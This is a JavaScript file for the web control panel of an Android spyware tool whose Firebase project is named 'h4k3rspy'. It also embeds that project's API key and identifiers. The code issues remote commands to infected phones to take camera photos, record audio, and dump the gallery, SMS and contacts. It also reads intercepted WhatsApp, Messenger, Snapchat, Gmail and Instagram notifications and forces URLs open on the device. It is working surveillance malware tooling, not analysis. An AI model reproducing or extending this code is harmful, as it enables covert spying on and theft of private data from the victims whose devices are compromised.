// Firebase Configuration var firebaseConfig = { apiKey: "AIzaSyCbCGpILXPKkrQ1LWBmltq86JwiMxJqaFI", authDomain: "h4k3rspy-c4ab0.firebaseapp.com", databaseURL: "https://h4k3rspy-c4ab0-default-rtdb.firebaseio.com", projectId: "h4k3rspy-c4ab0", storageBucket: "h4k3rspy-c4ab0.firebasestorage.app", messagingSenderId: "833031176871", appId: "1:833031176871:web:11822e9543619f631f9182", measurementId: "G-KBEB9RBK56" }; // Initialize Firebase firebase.initializeApp(firebaseConfig); var database = firebase.database(); var selectedDeviceId = null; var currentCommandDeviceId = null; // For URL and Vibration modals // Global arrays for duplicate checking var lastCaptureImages = []; var lastGalleryImages = []; /** * On page load, check for persistent login. */ document.addEventListener("DOMContentLoaded", function() { // Show device loading spinner while devices load document.getElementById("deviceSpinner").style.display = "flex"; if (localStorage.getItem("isLoggedIn") === "true") { var allowedDevices = JSON.parse(localStorage.getItem("allowedDevices")); document.getElementById("loginSection").classList.add("hidden"); document.getElementById("mainContent").classList.remove("hidden"); populateDevices(allowedDevices); } }); /** * Login function: sends password to login.php. */ function handleLogin() { var password = document.getElementById("loginPassword").value.trim(); if (!password) { document.getElementById("loginErrorMsg").textContent = "Please enter password."; document.getElementById("loginErrorMsg").classList.remove("hidden"); return; } fetch('php/login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'password=' + encodeURIComponent(password) }) .then(response => response.text()) .then(text => { console.log("Raw response text:", text); if (!text) throw new Error("Empty response from server."); try { return JSON.parse(text); } catch (e) { throw new Error("Failed to parse JSON: " + e.message); } }) .then(data => { if (data.error) { document.getElementById("loginErrorMsg").textContent = "Login failed: " + data.error; document.getElementById("loginErrorMsg").classList.remove("hidden"); } else if (!Array.isArray(data)) { document.getElementById("loginErrorMsg").textContent = "Unexpected response format."; document.getElementById("loginErrorMsg").classList.remove("hidden"); } else { localStorage.setItem("isLoggedIn", "true"); localStorage.setItem("allowedDevices", JSON.stringify(data)); document.getElementById("loginSection").classList.add("hidden"); document.getElementById("mainContent").classList.remove("hidden"); populateDevices(data); } }) .catch(error => { console.error("Error during login:", error); document.getElementById("loginErrorMsg").textContent = "Login error: " + error.message; document.getElementById("loginErrorMsg").classList.remove("hidden"); }); } /** * Logout function: clears persistent login and reloads the page. */ function handleLogout() { localStorage.removeItem("isLoggedIn"); localStorage.removeItem("allowedDevices"); location.reload(); } /** * populateDevices(allowedDevices): fetches device info from Firebase and displays only allowed devices. */ function populateDevices(allowedDevices) { var allowedIds = allowedDevices.map(item => item.device_id); database.ref('devices').once('value').then(snapshot => { var devices = snapshot.val(); var deviceListDiv = document.getElementById("deviceList"); deviceListDiv.innerHTML = ""; for (var id in devices) { if (allowedIds.indexOf(id) !== -1) { var device = devices[id]; // Smaller card with neat layout var card = document.createElement("div"); card.className = "device-card bg-white rounded-lg p-4 shadow-md text-center text-sm"; card.innerHTML = `

${device.deviceName || "Unknown Device"}

ID: ${id} | ${device.online ? "Online" : "Offline"}
Camera
Audio
Gallery
Notify
SMS
Contacts
SMS Dump
Torch
Vibrate
URL
`; deviceListDiv.appendChild(card); } } // Hide device loading spinner when done document.getElementById("deviceSpinner").style.display = "none"; }).catch(error => { console.error("Error fetching devices from Firebase:", error); document.getElementById("deviceSpinner").style.display = "none"; }); } // Torch command remains unchanged. function sendTorchCommand(deviceId) { database.ref('commands/' + deviceId + '/torch').set(true); } // --- Custom URL Command Modal Functions --- function openUrlCommandModal(deviceId) { currentCommandDeviceId = deviceId; document.getElementById("urlInput").value = ""; document.getElementById("urlTitleInput").value = ""; document.getElementById("urlErrorMsg").classList.add("hidden"); document.getElementById("urlCommandModal").classList.remove("hidden"); } function submitUrlCommand() { var url = document.getElementById("urlInput").value.trim(); var errorDiv = document.getElementById("urlErrorMsg"); if (url === "") { errorDiv.textContent = "URL is required."; errorDiv.classList.remove("hidden"); return; } var title = document.getElementById("urlTitleInput").value.trim(); if (title === "") title = "Open URL"; var payload = { url: url, title: title }; database.ref('commands/' + currentCommandDeviceId + '/openURL').set(JSON.stringify(payload)); closeModal('urlCommandModal'); } // --- Custom Vibration Command Modal Functions --- function openVibrationCommandModal(deviceId) { currentCommandDeviceId = deviceId; document.getElementById("vibrationDurationInput").value = ""; document.getElementById("vibrationErrorMsg").classList.add("hidden"); document.getElementById("vibrationCommandModal").classList.remove("hidden"); } function submitVibrationCommand() { var duration = document.getElementById("vibrationDurationInput").value.trim(); var errorDiv = document.getElementById("vibrationErrorMsg"); if (duration === "" || isNaN(duration) || parseInt(duration) <= 0) { errorDiv.textContent = "Invalid duration."; errorDiv.classList.remove("hidden"); return; } var durationInt = parseInt(duration); if (durationInt > 20) durationInt = 20; database.ref('commands/' + currentCommandDeviceId + '/vibrate').set(durationInt); closeModal('vibrationCommandModal'); } // --- Modal handling for other modals --- function openCaptureModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("captureModal").classList.remove("hidden"); loadCaptureImages(); } function openAudioModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("audioModal").classList.remove("hidden"); loadAudioFiles(); } function openGalleryModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("galleryModal").classList.remove("hidden"); loadGalleryImages(); } function openNotificationsModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("notificationsModal").classList.remove("hidden"); loadNotifications(); } function openSmsModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("smsModal").classList.remove("hidden"); loadSmsMessages(); } function openContactsDumpModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("contactsDumpModal").classList.remove("hidden"); loadContactsDump(); } function openSmsDumpModal(deviceId) { selectedDeviceId = deviceId; document.getElementById("smsDumpModal").classList.remove("hidden"); loadSmsDump(); } function closeModal(modalId) { document.getElementById(modalId).classList.add("hidden"); } // --- Additional Dump Functions --- function sendContactsDumpCommand() { if (!selectedDeviceId) { alert("No device selected."); return; } document.getElementById("contactsDumpSpinner").classList.remove("hidden"); database.ref('commands/' + selectedDeviceId + '/contactsDump').set(true); setTimeout(loadContactsDump, 5000); } function sendSmsDumpCommand() { if (!selectedDeviceId) { alert("No device selected."); return; } document.getElementById("smsDumpSpinner").classList.remove("hidden"); database.ref('commands/' + selectedDeviceId + '/smsDump').set(true); setTimeout(loadSmsDump, 5000); } function loadContactsDump() { fetch('php/get_contacts.php?device_id=' + selectedDeviceId) .then(response => response.json()) .then(data => { var container = document.getElementById("contactsDumpList"); container.innerHTML = ""; data.forEach(function(contact) { var contactDiv = document.createElement("div"); contactDiv.className = "contact-item flex items-center p-2 border-b border-gray-200"; var icon = document.createElement("img"); icon.src = "icons/contact.png"; icon.alt = "Contact Icon"; icon.className = "w-6 h-6 mr-3"; var detailsDiv = document.createElement("div"); detailsDiv.innerHTML = `
${contact.name}
${contact.number}
`; contactDiv.appendChild(icon); contactDiv.appendChild(detailsDiv); container.appendChild(contactDiv); }); document.getElementById("contactsDumpSpinner").classList.add("hidden"); }) .catch(error => { console.error("Error loading contacts dump:", error); document.getElementById("contactsDumpSpinner").classList.add("hidden"); }); } function loadSmsDump() { fetch('php/get_sms_dump.php?device_id=' + selectedDeviceId) .then(response => response.json()) .then(data => { var container = document.getElementById("smsDumpList"); container.innerHTML = ""; data.forEach(function(sms) { var smsDiv = document.createElement("div"); smsDiv.className = "sms-item flex items-center p-2 border-b border-gray-200"; var icon = document.createElement("img"); icon.src = "icons/sms.png"; icon.alt = "SMS Icon"; icon.className = "w-6 h-6 mr-3"; var detailsDiv = document.createElement("div"); detailsDiv.innerHTML = `
${sms.sender}
${sms.message}
`; smsDiv.appendChild(icon); smsDiv.appendChild(detailsDiv); container.appendChild(smsDiv); }); document.getElementById("smsDumpSpinner").classList.add("hidden"); }) .catch(error => { console.error("Error loading SMS dump:", error); document.getElementById("smsDumpSpinner").classList.add("hidden"); }); } // --- Capture Modal Functions --- function handleCaptureClick() { document.getElementById("captureSpinner").classList.remove("hidden"); sendCaptureCommand(); } function sendCaptureCommand() { database.ref('commands/' + selectedDeviceId + '/capture').set(true); } function loadCaptureImages() { if (!selectedDeviceId) return; fetch('php/get_images.php?device_id=' + selectedDeviceId) .then(response => response.json()) .then(data => { if (JSON.stringify(data) === JSON.stringify(lastCaptureImages)) { document.getElementById("captureSpinner").classList.add("hidden"); return; } lastCaptureImages = data; var container = document.getElementById("captureImages"); container.innerHTML = ""; data.forEach(function(filename) { var img = document.createElement("img"); img.src = "uploads/camera_uploads/" + filename; img.className = "capture-img"; container.appendChild(img); }); document.getElementById("captureSpinner").classList.add("hidden"); }) .catch(error => { console.error("Error loading capture images:", error); document.getElementById("captureSpinner").classList.add("hidden"); }); } // --- Audio Modal Functions --- function handleAudioRecordClick() { document.getElementById("audioSpinner").classList.remove("hidden"); var durationInput = document.getElementById("audioDurationInput").value; // Instead of alert, you can set an inline error message here (for brevity, using alert below) if (!durationInput || isNaN(durationInput) || parseInt(durationInput) <= 0) { alert("Invalid duration."); document.getElementById("audioSpinner").classList.add("hidden"); return; } database.ref('commands/' + selectedDeviceId + '/audioRecord').set(parseInt(durationInput)); } function loadAudioFiles() { if (!selectedDeviceId) return; fetch('php/get_audio.php?device_id=' + selectedDeviceId) .then(response => response.json()) .then(data => { var container = document.getElementById("audioFiles"); container.innerHTML = ""; data.forEach(function(filename) { var player = createAudioPlayer(filename); container.appendChild(player); }); document.getElementById("audioSpinner").classList.add("hidden"); }) .catch(error => { console.error("Error loading audio files:", error); document.getElementById("audioSpinner").classList.add("hidden"); }); } function createAudioPlayer(filename) { var container = document.createElement("div"); container.className = "audio-player flex items-center space-x-2"; var audio = document.createElement("audio"); audio.src = "uploads/audio_records/" + filename; audio.className = "hidden"; var btn = document.createElement("button"); btn.className = "bg-blue-500 hover:bg-blue-600 text-white p-2 rounded-full focus:outline-none"; btn.innerHTML = "►"; btn.onclick = function() { if (audio.paused) { audio.play(); btn.innerHTML = "❚❚"; } else { audio.pause(); btn.innerHTML = "►"; } }; var label = document.createElement("span"); label.className = "text-sm text-gray-700"; label.textContent = filename; container.appendChild(btn); container.appendChild(label); container.appendChild(audio); return container; } // --- Gallery Dump Functions --- function sendGalleryDumpCommand() { var countInput = document.getElementById("galleryCountInput").value; // Inline error display for gallery command (optional) if (!countInput || isNaN(countInput) || parseInt(countInput) <= 0) { alert("Invalid number."); return; } document.getElementById("gallerySpinner").classList.remove("hidden"); database.ref('commands/' + selectedDeviceId + '/galleryDump').set(parseInt(countInput)); } function loadGalleryImages() { if (!selectedDeviceId) return; document.getElementById("gallerySpinner").classList.remove("hidden"); fetch('php/get_gallery.php?device_id=' + selectedDeviceId) .then(response => response.json()) .then(data => { var container = document.getElementById("galleryImages"); container.innerHTML = ""; let seen = new Set(); data.forEach(function(record) { if (!seen.has(record.filename)) { seen.add(record.filename); var imgContainer = document.createElement("div"); imgContainer.className = "flex flex-col items-center"; var img = document.createElement("img"); img.src = "uploads/gallery_dump/" + record.filename; img.className = "capture-img"; var label = document.createElement("span"); label.className = "text-sm text-gray-700 mt-1"; label.textContent = `ID: ${record.id} - ${record.filename}`; imgContainer.appendChild(img); imgContainer.appendChild(label); container.appendChild(imgContainer); } }); document.getElementById("gallerySpinner").classList.add("hidden"); }) .catch(error => { console.error("Error loading gallery images:", error); document.getElementById("gallerySpinner").classList.add("hidden"); }); } // --- Notifications & SMS Functions --- const allowedPackages = [ "com.whatsapp", "com.facebook.orca", "com.snapchat.android", "com.google.android.gm", "com.instagram.android", "sms" ]; const packageIcons = { "com.whatsapp": "icons/whatsapp.png", "com.facebook.orca": "icons/facebook_messenger.png", "com.snapchat.android": "icons/snapchat.png", "com.google.android.gm": "icons/gmail.png", "com.instagram.android": "icons/instagram.png", "sms": "icons/sms.png" }; function loadNotifications() { fetch(`php/get_notifications.php?device_id=${selectedDeviceId}`) .then(response => response.json()) .then(data => { var container = document.getElementById("notificationsList"); container.innerHTML = ""; data.forEach(function(notification) { var div = document.createElement("div"); div.className = "notification-item flex items-center space-x-2 p-2 border-b border-gray-200"; var iconUrl = packageIcons[notification.package] || "icons/default.png"; var img = document.createElement("img"); img.src = iconUrl; img.alt = notification.package; img.className = "notification-icon w-6 h-6"; var textDiv = document.createElement("div"); textDiv.innerHTML = `

${notification.title}

${notification.text}

${new Date(notification.created_at).toLocaleString()}

`; div.appendChild(img); div.appendChild(textDiv); container.appendChild(div); }); }) .catch(error => console.error("Error loading notifications:", error)); } function loadSmsMessages() { fetch(`php/get_sms.php?device_id=${selectedDeviceId}`) .then(response => response.json()) .then(data => { var container = document.getElementById("smsList"); container.innerHTML = ""; data.forEach(function(sms) { var div = document.createElement("div"); div.className = "sms-item"; div.innerHTML = `

${new Date(sms.created_at).toLocaleString()}: ${sms.sender}: ${sms.message}

`; container.appendChild(div); }); }) .catch(error => console.error("Error loading SMS messages:", error)); } // Auto-refresh notifications, capture images, audio files, and gallery images every 10 seconds setInterval(loadNotifications, 10000); setInterval(loadCaptureImages, 10000); setInterval(loadAudioFiles, 10000); setInterval(loadGalleryImages, 10000);